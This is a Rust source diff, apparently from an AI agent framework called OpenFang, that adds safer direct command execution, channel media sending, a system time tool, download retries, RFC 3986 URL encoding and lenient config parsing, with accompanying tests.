let use_direct_exec = exec_policy
|
||||
.map(|p| p.mode == openfang_types::config::ExecSecurityMode::Allowlist)
|
||||
.unwrap_or(true); // Default to safe mode
|
||||
|
||||
let mut cmd = tokio::process::Command::new(shell);
|
||||
cmd.arg(shell_arg).arg(command);
|
||||
let mut cmd = if use_direct_exec {
|
||||
// SAFE PATH: Split command into argv using POSIX shell lexer rules,
|
||||
// then execute the binary directly — no shell interpreter involved.
|
||||
let argv = shlex::split(command).ok_or_else(|| {
|
||||
"Command contains unmatched quotes or invalid shell syntax".to_string()
|
||||
})?;
|
||||
if argv.is_empty() {
|
||||
return Err("Empty command after parsing".to_string());
|
||||
}
|
||||
let mut c = tokio::process::Command::new(&argv[0]);
|
||||
if argv.len() > 1 {
|
||||
c.args(&argv[1..]);
|
||||
}
|
||||
c
|
||||
} else {
|
||||
// UNSAFE PATH: Full mode — user explicitly opted in to shell interpretation.
|
||||
// Shell resolution: prefer sh (Git Bash/MSYS2) on Windows.
|
||||
#[cfg(windows)]
|
||||
let git_sh: Option<&str> = {
|
||||
const SH_PATHS: &[&str] = &[
|
||||
"C:\\Program Files\\Git\\usr\\bin\\sh.exe",
|
||||
"C:\\Program Files (x86)\\Git\\usr\\bin\\sh.exe",
|
||||
];
|
||||
SH_PATHS
|
||||
.iter()
|
||||
.copied()
|
||||
.find(|p| std::path::Path::new(p).exists())
|
||||
};
|
||||
let (shell, shell_arg) = if cfg!(windows) {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
if let Some(sh) = git_sh {
|
||||
(sh, "-c")
|
||||
} else {
|
||||
("cmd", "/C")
|
||||
}
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
("sh", "-c")
|
||||
}
|
||||
} else {
|
||||
("sh", "-c")
|
||||
};
|
||||
let mut c = tokio::process::Command::new(shell);
|
||||
c.arg(shell_arg).arg(command);
|
||||
c
|
||||
};
|
||||
|
||||
// Set working directory to agent workspace so files are created there
|
||||
if let Some(ws) = workspace_root {
|
||||
@@ -2119,24 +2182,44 @@ async fn tool_channel_send(
|
||||
.as_str()
|
||||
.ok_or("Missing 'recipient' parameter")?
|
||||
.trim();
|
||||
let message = input["message"]
|
||||
.as_str()
|
||||
.ok_or("Missing 'message' parameter")?;
|
||||
|
||||
if recipient.is_empty() {
|
||||
return Err("Recipient cannot be empty".to_string());
|
||||
}
|
||||
|
||||
// Check for media content (image_url or file_url)
|
||||
let image_url = input["image_url"].as_str().filter(|s| !s.is_empty());
|
||||
let file_url = input["file_url"].as_str().filter(|s| !s.is_empty());
|
||||
|
||||
if let Some(url) = image_url {
|
||||
let caption = input["message"].as_str().filter(|s| !s.is_empty());
|
||||
return kh
|
||||
.send_channel_media(&channel, recipient, "image", url, caption, None)
|
||||
.await;
|
||||
}
|
||||
|
||||
if let Some(url) = file_url {
|
||||
let caption = input["message"].as_str().filter(|s| !s.is_empty());
|
||||
let filename = input["filename"].as_str();
|
||||
return kh
|
||||
.send_channel_media(&channel, recipient, "file", url, caption, filename)
|
||||
.await;
|
||||
}
|
||||
|
||||
// Text-only message
|
||||
let message = input["message"]
|
||||
.as_str()
|
||||
.ok_or("Missing 'message' parameter (required for text messages)")?;
|
||||
|
||||
if message.is_empty() {
|
||||
return Err("Message cannot be empty".to_string());
|
||||
}
|
||||
|
||||
// For email channels, validate email format and prepend subject
|
||||
let final_message = if channel == "email" {
|
||||
// Basic email format validation
|
||||
if !recipient.contains('@') || !recipient.contains('.') {
|
||||
return Err(format!("Invalid email address: '{recipient}'"));
|
||||
}
|
||||
// Prepend subject if provided
|
||||
if let Some(subject) = input["subject"].as_str() {
|
||||
if !subject.is_empty() {
|
||||
format!("Subject: {subject}\n\n{message}")
|
||||
@@ -2514,6 +2597,27 @@ async fn tool_location_get() -> Result<String, String> {
|
||||
serde_json::to_string_pretty(&result).map_err(|e| format!("Serialize error: {e}"))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// System time tool
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Return current date, time, timezone, and Unix epoch.
|
||||
fn tool_system_time() -> String {
|
||||
let now_utc = chrono::Utc::now();
|
||||
let now_local = chrono::Local::now();
|
||||
let result = serde_json::json!({
|
||||
"utc": now_utc.to_rfc3339(),
|
||||
"local": now_local.to_rfc3339(),
|
||||
"unix_epoch": now_utc.timestamp(),
|
||||
"timezone": now_local.format("%Z").to_string(),
|
||||
"utc_offset": now_local.format("%:z").to_string(),
|
||||
"date": now_local.format("%Y-%m-%d").to_string(),
|
||||
"time": now_local.format("%H:%M:%S").to_string(),
|
||||
"day_of_week": now_local.format("%A").to_string(),
|
||||
});
|
||||
serde_json::to_string_pretty(&result).unwrap_or_else(|_| now_utc.to_rfc3339())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Media understanding tools
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -3091,6 +3195,7 @@ mod tests {
|
||||
assert!(names.contains(&"schedule_delete"));
|
||||
assert!(names.contains(&"image_analyze"));
|
||||
assert!(names.contains(&"location_get"));
|
||||
assert!(names.contains(&"system_time"));
|
||||
// 6 browser tools
|
||||
assert!(names.contains(&"browser_navigate"));
|
||||
assert!(names.contains(&"browser_click"));
|
||||
|
||||
@@ -142,7 +142,7 @@ impl WebSearchEngine {
|
||||
.unwrap_or_default();
|
||||
|
||||
if results.is_empty() {
|
||||
return Ok(format!("No results found for '{query}' (Brave)."));
|
||||
return Err(format!("No results found for '{query}' (Brave)."));
|
||||
}
|
||||
|
||||
let mut output = format!("Search results for '{query}' (Brave):\n\n");
|
||||
@@ -216,7 +216,7 @@ impl WebSearchEngine {
|
||||
}
|
||||
|
||||
if results.is_empty() && !output.contains("AI Summary") {
|
||||
return Ok(format!("No results found for '{query}' (Tavily)."));
|
||||
return Err(format!("No results found for '{query}' (Tavily)."));
|
||||
}
|
||||
|
||||
Ok(wrap_external_content("tavily-search", &output))
|
||||
@@ -297,7 +297,7 @@ impl WebSearchEngine {
|
||||
let results = parse_ddg_results(&body, max_results);
|
||||
|
||||
if results.is_empty() {
|
||||
return Ok(format!("No results found for '{query}'."));
|
||||
return Err(format!("No results found for '{query}'."));
|
||||
}
|
||||
|
||||
let mut output = format!("Search results for '{query}':\n\n");
|
||||
|
||||
@@ -427,25 +427,45 @@ impl ClawHubClient {
|
||||
|
||||
info!(slug, "Downloading skill from ClawHub");
|
||||
|
||||
let response = self
|
||||
.client
|
||||
.get(&url)
|
||||
.header("User-Agent", "OpenFang/0.1")
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| SkillError::Network(format!("ClawHub download failed: {e}")))?;
|
||||
|
||||
if !response.status().is_success() {
|
||||
return Err(SkillError::Network(format!(
|
||||
"ClawHub download returned {}",
|
||||
response.status()
|
||||
)));
|
||||
// Retry with exponential backoff on 429/5xx
|
||||
let mut last_err = String::new();
|
||||
let mut bytes_result = None;
|
||||
for attempt in 0..3u32 {
|
||||
if attempt > 0 {
|
||||
let delay = std::time::Duration::from_millis(1000 * 2u64.pow(attempt));
|
||||
tokio::time::sleep(delay).await;
|
||||
info!(slug, attempt, "Retrying ClawHub download");
|
||||
}
|
||||
match self
|
||||
.client
|
||||
.get(&url)
|
||||
.header("User-Agent", "OpenFang/0.1")
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(resp) if resp.status().is_success() => {
|
||||
match resp.bytes().await {
|
||||
Ok(b) => {
|
||||
bytes_result = Some(b);
|
||||
break;
|
||||
}
|
||||
Err(e) => last_err = format!("Failed to read download: {e}"),
|
||||
}
|
||||
}
|
||||
Ok(resp) if resp.status().as_u16() == 429 || resp.status().is_server_error() => {
|
||||
last_err = format!("ClawHub download returned {}", resp.status());
|
||||
}
|
||||
Ok(resp) => {
|
||||
return Err(SkillError::Network(format!(
|
||||
"ClawHub download returned {}",
|
||||
resp.status()
|
||||
)));
|
||||
}
|
||||
Err(e) => last_err = format!("ClawHub download failed: {e}"),
|
||||
}
|
||||
}
|
||||
|
||||
let bytes = response
|
||||
.bytes()
|
||||
.await
|
||||
.map_err(|e| SkillError::Network(format!("Failed to read download: {e}")))?;
|
||||
let bytes = bytes_result
|
||||
.ok_or_else(|| SkillError::Network(format!("{last_err} (after 3 attempts)")))?;
|
||||
|
||||
// Step 1: SHA256 of downloaded content
|
||||
let sha256 = {
|
||||
@@ -593,14 +613,25 @@ impl ClawHubClient {
|
||||
}
|
||||
}
|
||||
|
||||
/// Minimal URL-encoding for query parameters.
|
||||
/// RFC 3986 percent-encoding for query parameters.
|
||||
/// Unreserved characters pass through, space becomes `+`, everything else is `%XX`.
|
||||
fn urlencoded(s: &str) -> String {
|
||||
s.replace(' ', "+")
|
||||
.replace('&', "%26")
|
||||
.replace('=', "%3D")
|
||||
.replace('?', "%3F")
|
||||
.replace('#', "%23")
|
||||
.replace('/', "%2F")
|
||||
const HEX_UPPER: &[u8; 16] = b"0123456789ABCDEF";
|
||||
let mut result = String::with_capacity(s.len() * 3);
|
||||
for b in s.bytes() {
|
||||
match b {
|
||||
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
|
||||
result.push(b as char);
|
||||
}
|
||||
b' ' => result.push('+'),
|
||||
_ => {
|
||||
result.push('%');
|
||||
result.push(HEX_UPPER[(b >> 4) as usize] as char);
|
||||
result.push(HEX_UPPER[(b & 0xf) as usize] as char);
|
||||
}
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Check if a binary is available on PATH.
|
||||
@@ -786,6 +817,11 @@ mod tests {
|
||||
assert_eq!(urlencoded("hello world"), "hello+world");
|
||||
assert_eq!(urlencoded("a&b=c"), "a%26b%3Dc");
|
||||
assert_eq!(urlencoded("path/to#frag"), "path%2Fto%23frag");
|
||||
// Previously missed characters
|
||||
assert_eq!(urlencoded("100%"), "100%25");
|
||||
assert_eq!(urlencoded("a+b"), "a%2Bb");
|
||||
// Unreserved chars pass through
|
||||
assert_eq!(urlencoded("hello-world_2.0~test"), "hello-world_2.0~test");
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -267,7 +267,7 @@ impl Default for ResourceQuota {
|
||||
max_tool_calls_per_minute: 60,
|
||||
max_llm_tokens_per_hour: 1_000_000,
|
||||
max_network_bytes_per_hour: 100 * 1024 * 1024, // 100 MB
|
||||
max_cost_per_hour_usd: 1.0,
|
||||
max_cost_per_hour_usd: 0.0, // unlimited by default
|
||||
max_cost_per_day_usd: 0.0, // unlimited
|
||||
max_cost_per_month_usd: 0.0, // unlimited
|
||||
}
|
||||
@@ -367,6 +367,7 @@ pub struct ModelConfig {
|
||||
/// LLM provider name.
|
||||
pub provider: String,
|
||||
/// Model identifier.
|
||||
#[serde(alias = "name")]
|
||||
pub model: String,
|
||||
/// Maximum tokens for completion.
|
||||
pub max_tokens: u32,
|
||||
@@ -474,7 +475,8 @@ pub struct AgentManifest {
|
||||
#[serde(default = "default_true")]
|
||||
pub generate_identity_files: bool,
|
||||
/// Per-agent exec policy override. If None, uses global exec_policy.
|
||||
#[serde(default)]
|
||||
/// Accepts string shorthand ("allow", "deny", "full", "allowlist") or full table.
|
||||
#[serde(default, deserialize_with = "crate::serde_compat::exec_policy_lenient")]
|
||||
pub exec_policy: Option<crate::config::ExecPolicy>,
|
||||
/// Tool allowlist — only these tools are available (empty = all tools).
|
||||
#[serde(default, deserialize_with = "crate::serde_compat::vec_lenient")]
|
||||
@@ -1143,4 +1145,28 @@ mod tests {
|
||||
let manifest: AgentManifest = serde_json::from_str(json).unwrap();
|
||||
assert!(manifest.generate_identity_files);
|
||||
}
|
||||
|
||||
// ----- ModelConfig alias tests -----
|
||||
|
||||
#[test]
|
||||
fn test_model_config_name_alias_toml() {
|
||||
let toml_str = r#"
|
||||
name = "llama-3.3-70b-versatile"
|
||||
provider = "groq"
|
||||
"#;
|
||||
let cfg: ModelConfig = toml::from_str(toml_str).unwrap();
|
||||
assert_eq!(cfg.model, "llama-3.3-70b-versatile");
|
||||
assert_eq!(cfg.provider, "groq");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_model_config_model_field_still_works() {
|
||||
let toml_str = r#"
|
||||
model = "gpt-4o"
|
||||
provider = "openai"
|
||||
"#;
|
||||
let cfg: ModelConfig = toml::from_str(toml_str).unwrap();
|
||||
assert_eq!(cfg.model, "gpt-4o");
|
||||
assert_eq!(cfg.provider, "openai");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,6 +4,26 @@ use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
/// Deserialize a `Vec<String>` that tolerates both string and integer elements.
|
||||
///
|
||||
/// When channel configs are saved from the web dashboard, numeric IDs (e.g. Discord
|
||||
/// guild snowflakes, Telegram user IDs) are stored as TOML integers. This helper
|
||||
/// transparently converts integers back to strings so deserialization never fails.
|
||||
fn deserialize_string_or_int_vec<'de, D>(deserializer: D) -> Result<Vec<String>, D::Error>
|
||||
where
|
||||
D: serde::Deserializer<'de>,
|
||||
{
|
||||
let values: Vec<serde_json::Value> = serde::Deserialize::deserialize(deserializer)?;
|
||||
Ok(values
|
||||
.into_iter()
|
||||
.map(|v| match v {
|
||||
serde_json::Value::String(s) => s,
|
||||
serde_json::Value::Number(n) => n.to_string(),
|
||||
other => other.to_string(),
|
||||
})
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// DM (direct message) policy for a channel.
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
@@ -1166,6 +1186,10 @@ fn default_language() -> String {
|
||||
"en".to_string()
|
||||
}
|
||||
|
||||
fn default_true() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
impl Default for KernelConfig {
|
||||
fn default() -> Self {
|
||||
let home_dir = openfang_home_dir();
|
||||
@@ -1530,7 +1554,9 @@ pub struct TelegramConfig {
|
||||
/// Env var name holding the bot token (NOT the token itself).
|
||||
pub bot_token_env: String,
|
||||
/// Telegram user IDs allowed to interact (empty = allow all).
|
||||
pub allowed_users: Vec<i64>,
|
||||
/// Accepts strings for consistency; numeric TOML integers are coerced to strings.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_users: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
/// Polling interval in seconds.
|
||||
@@ -1560,14 +1586,19 @@ pub struct DiscordConfig {
|
||||
pub bot_token_env: String,
|
||||
/// Guild (server) IDs allowed to interact (empty = allow all).
|
||||
/// Accepts strings for consistency with other channel configs.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_guilds: Vec<String>,
|
||||
/// User IDs allowed to interact (empty = allow all).
|
||||
#[serde(default)]
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_users: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
/// Gateway intents bitmask (default: 37376 = GUILD_MESSAGES | DIRECT_MESSAGES | MESSAGE_CONTENT).
|
||||
pub intents: u64,
|
||||
/// Ignore messages from other bots (default: true).
|
||||
/// Set to false to allow bot-to-bot interactions in multi-agent setups.
|
||||
#[serde(default = "default_true")]
|
||||
pub ignore_bots: bool,
|
||||
/// Per-channel behavior overrides.
|
||||
#[serde(default)]
|
||||
pub overrides: ChannelOverrides,
|
||||
@@ -1581,6 +1612,7 @@ impl Default for DiscordConfig {
|
||||
allowed_users: vec![],
|
||||
default_agent: None,
|
||||
intents: 37376,
|
||||
ignore_bots: true,
|
||||
overrides: ChannelOverrides::default(),
|
||||
}
|
||||
}
|
||||
@@ -1595,6 +1627,7 @@ pub struct SlackConfig {
|
||||
/// Env var name holding the bot token (xoxb-) for REST API.
|
||||
pub bot_token_env: String,
|
||||
/// Channel IDs allowed to interact (empty = allow all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_channels: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1631,6 +1664,7 @@ pub struct WhatsAppConfig {
|
||||
/// When set, outgoing messages are routed through the gateway instead of Cloud API.
|
||||
pub gateway_url_env: String,
|
||||
/// Allowed phone numbers (empty = allow all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_users: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1663,6 +1697,7 @@ pub struct SignalConfig {
|
||||
/// Registered phone number.
|
||||
pub phone_number: String,
|
||||
/// Allowed phone numbers (empty = allow all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_users: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1694,6 +1729,7 @@ pub struct MatrixConfig {
|
||||
/// Env var name holding the access token.
|
||||
pub access_token_env: String,
|
||||
/// Room IDs to listen in (empty = all joined rooms).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_rooms: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1734,8 +1770,10 @@ pub struct EmailConfig {
|
||||
/// Poll interval in seconds.
|
||||
pub poll_interval_secs: u64,
|
||||
/// IMAP folders to monitor.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub folders: Vec<String>,
|
||||
/// Only process emails from these senders (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_senders: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1773,6 +1811,7 @@ pub struct TeamsConfig {
|
||||
/// Port for the incoming webhook.
|
||||
pub webhook_port: u16,
|
||||
/// Allowed tenant IDs (empty = allow all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_tenants: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1803,6 +1842,7 @@ pub struct MattermostConfig {
|
||||
/// Env var name holding the bot token.
|
||||
pub token_env: String,
|
||||
/// Allowed channel IDs (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_channels: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1836,6 +1876,7 @@ pub struct IrcConfig {
|
||||
/// Env var name holding the server password (optional).
|
||||
pub password_env: Option<String>,
|
||||
/// Channels to join (e.g., `["#openfang", "#general"]`).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub channels: Vec<String>,
|
||||
/// Use TLS (requires tokio-native-tls).
|
||||
pub use_tls: bool,
|
||||
@@ -1868,6 +1909,7 @@ pub struct GoogleChatConfig {
|
||||
/// Env var name holding the service account JSON key.
|
||||
pub service_account_env: String,
|
||||
/// Space IDs to listen in.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub space_ids: Vec<String>,
|
||||
/// Port for the incoming webhook.
|
||||
pub webhook_port: u16,
|
||||
@@ -1897,6 +1939,7 @@ pub struct TwitchConfig {
|
||||
/// Env var name holding the OAuth token.
|
||||
pub oauth_token_env: String,
|
||||
/// Twitch channels to join (without #).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub channels: Vec<String>,
|
||||
/// Bot nickname.
|
||||
pub nick: String,
|
||||
@@ -1930,6 +1973,7 @@ pub struct RocketChatConfig {
|
||||
/// User ID for the bot.
|
||||
pub user_id: String,
|
||||
/// Allowed channel IDs (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_channels: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1962,6 +2006,7 @@ pub struct ZulipConfig {
|
||||
/// Env var name holding the API key.
|
||||
pub api_key_env: String,
|
||||
/// Streams to listen in.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub streams: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -1996,6 +2041,7 @@ pub struct XmppConfig {
|
||||
/// XMPP server port.
|
||||
pub port: u16,
|
||||
/// MUC rooms to join.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub rooms: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2120,6 +2166,7 @@ pub struct RedditConfig {
|
||||
/// Env var name holding the bot password.
|
||||
pub password_env: String,
|
||||
/// Subreddits to monitor.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub subreddits: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2263,6 +2310,7 @@ pub struct NextcloudConfig {
|
||||
/// Env var name holding the auth token.
|
||||
pub token_env: String,
|
||||
/// Room tokens to listen in (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_rooms: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2290,6 +2338,7 @@ pub struct GuildedConfig {
|
||||
/// Env var name holding the bot token.
|
||||
pub bot_token_env: String,
|
||||
/// Server IDs to listen in (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub server_ids: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2318,6 +2367,7 @@ pub struct KeybaseConfig {
|
||||
/// Env var name holding the paper key.
|
||||
pub paperkey_env: String,
|
||||
/// Team names to listen in (empty = all DMs).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_teams: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2374,6 +2424,7 @@ pub struct NostrConfig {
|
||||
/// Env var name holding the private key (nsec or hex).
|
||||
pub private_key_env: String,
|
||||
/// Relay URLs to connect to.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub relays: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2400,6 +2451,7 @@ pub struct WebexConfig {
|
||||
/// Env var name holding the bot token.
|
||||
pub bot_token_env: String,
|
||||
/// Room IDs to listen in (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_rooms: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2480,6 +2532,7 @@ pub struct TwistConfig {
|
||||
/// Workspace ID.
|
||||
pub workspace_id: String,
|
||||
/// Channel IDs to listen in (empty = all).
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub allowed_channels: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
@@ -2577,6 +2630,7 @@ pub struct DiscourseConfig {
|
||||
/// API username.
|
||||
pub api_username: String,
|
||||
/// Category slugs to monitor.
|
||||
#[serde(default, deserialize_with = "deserialize_string_or_int_vec")]
|
||||
pub categories: Vec<String>,
|
||||
/// Default agent name to route messages to.
|
||||
pub default_agent: Option<String>,
|
||||
|
||||
@@ -59,6 +59,16 @@ mod tests {
|
||||
assert_eq!(truncate_str(s, 6), "hi\u{1F600}"); // after emoji
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn truncate_str_em_dash() {
|
||||
// Em dash (—) is 3 bytes (0xE2 0x80 0x94) — the exact char that caused
|
||||
// production panics in kernel.rs and session.rs (issue #104)
|
||||
let s = "Here is a summary — with details";
|
||||
assert_eq!(truncate_str(s, 19), "Here is a summary ");
|
||||
assert_eq!(truncate_str(s, 20), "Here is a summary ");
|
||||
assert_eq!(truncate_str(s, 21), "Here is a summary \u{2014}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn truncate_str_no_truncation() {
|
||||
assert_eq!(truncate_str("short", 100), "short");
|
||||
|
||||
@@ -20,6 +20,7 @@ pub const FIREWORKS_BASE_URL: &str = "https://api.fireworks.ai/inference/v1";
|
||||
pub const OLLAMA_BASE_URL: &str = "http://localhost:11434/v1";
|
||||
pub const VLLM_BASE_URL: &str = "http://localhost:8000/v1";
|
||||
pub const LMSTUDIO_BASE_URL: &str = "http://localhost:1234/v1";
|
||||
pub const LEMONADE_BASE_URL: &str = "http://localhost:8888/api/v1";
|
||||
pub const PERPLEXITY_BASE_URL: &str = "https://api.perplexity.ai";
|
||||
pub const COHERE_BASE_URL: &str = "https://api.cohere.com/v2";
|
||||
pub const AI21_BASE_URL: &str = "https://api.ai21.com/studio/v1";
|
||||
@@ -28,6 +29,7 @@ pub const SAMBANOVA_BASE_URL: &str = "https://api.sambanova.ai/v1";
|
||||
pub const HUGGINGFACE_BASE_URL: &str = "https://api-inference.huggingface.co/v1";
|
||||
pub const XAI_BASE_URL: &str = "https://api.x.ai/v1";
|
||||
pub const REPLICATE_BASE_URL: &str = "https://api.replicate.com/v1";
|
||||
pub const VENICE_BASE_URL: &str = "https://api.venice.ai/api/v1";
|
||||
|
||||
// ── GitHub Copilot ──────────────────────────────────────────────
|
||||
pub const GITHUB_COPILOT_BASE_URL: &str = "https://api.githubcopilot.com";
|
||||
|
||||
@@ -157,6 +157,70 @@ where
|
||||
deserializer.deserialize_any(MapLenientVisitor(PhantomData))
|
||||
}
|
||||
|
||||
/// Deserialize an `Option<ExecPolicy>` leniently: accepts either a string
|
||||
/// shorthand (e.g., `"allow"`, `"deny"`, `"full"`, `"allowlist"`) which maps
|
||||
/// to `ExecPolicy { mode: <parsed>, ..Default::default() }`, or the full
|
||||
/// struct/table form. Returns `None` for null/missing.
|
||||
pub fn exec_policy_lenient<'de, D>(
|
||||
deserializer: D,
|
||||
) -> Result<Option<crate::config::ExecPolicy>, D::Error>
|
||||
where
|
||||
D: Deserializer<'de>,
|
||||
{
|
||||
struct ExecPolicyVisitor;
|
||||
|
||||
impl<'de> Visitor<'de> for ExecPolicyVisitor {
|
||||
type Value = Option<crate::config::ExecPolicy>;
|
||||
|
||||
fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result {
|
||||
formatter.write_str(
|
||||
"a string shorthand (\"allow\", \"deny\", \"full\", \"allowlist\") or an ExecPolicy table",
|
||||
)
|
||||
}
|
||||
|
||||
fn visit_str<E: de::Error>(self, v: &str) -> Result<Self::Value, E> {
|
||||
let mode = match v.to_lowercase().as_str() {
|
||||
"deny" | "none" | "disabled" => crate::config::ExecSecurityMode::Deny,
|
||||
"allowlist" | "restricted" => crate::config::ExecSecurityMode::Allowlist,
|
||||
"full" | "allow" | "all" | "unrestricted" => crate::config::ExecSecurityMode::Full,
|
||||
other => {
|
||||
return Err(de::Error::unknown_variant(
|
||||
other,
|
||||
&[
|
||||
"deny", "none", "disabled", "allowlist", "restricted", "full",
|
||||
"allow", "all", "unrestricted",
|
||||
],
|
||||
));
|
||||
}
|
||||
};
|
||||
Ok(Some(crate::config::ExecPolicy {
|
||||
mode,
|
||||
..Default::default()
|
||||
}))
|
||||
}
|
||||
|
||||
fn visit_map<A>(self, map: A) -> Result<Self::Value, A::Error>
|
||||
where
|
||||
A: MapAccess<'de>,
|
||||
{
|
||||
let policy = crate::config::ExecPolicy::deserialize(
|
||||
de::value::MapAccessDeserializer::new(map),
|
||||
)?;
|
||||
Ok(Some(policy))
|
||||
}
|
||||
|
||||
fn visit_none<E: de::Error>(self) -> Result<Self::Value, E> {
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
fn visit_unit<E: de::Error>(self) -> Result<Self::Value, E> {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
deserializer.deserialize_any(ExecPolicyVisitor)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
@@ -303,4 +367,83 @@ mod tests {
|
||||
assert!(new.fallback_models.is_empty());
|
||||
assert!(new.skills.is_empty());
|
||||
}
|
||||
|
||||
// --- exec_policy_lenient tests ---
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct TestExecPolicy {
|
||||
#[serde(default, deserialize_with = "exec_policy_lenient")]
|
||||
exec_policy: Option<crate::config::ExecPolicy>,
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_string_allow() {
|
||||
let toml_str = r#"exec_policy = "allow""#;
|
||||
let parsed: TestExecPolicy = toml::from_str(toml_str).unwrap();
|
||||
let policy = parsed.exec_policy.unwrap();
|
||||
assert_eq!(policy.mode, crate::config::ExecSecurityMode::Full);
|
||||
// Should have default safe_bins, timeout, etc.
|
||||
assert!(!policy.safe_bins.is_empty());
|
||||
assert_eq!(policy.timeout_secs, 30);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_string_deny() {
|
||||
let toml_str = r#"exec_policy = "deny""#;
|
||||
let parsed: TestExecPolicy = toml::from_str(toml_str).unwrap();
|
||||
let policy = parsed.exec_policy.unwrap();
|
||||
assert_eq!(policy.mode, crate::config::ExecSecurityMode::Deny);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exec_policy_string_full() {
|
||||
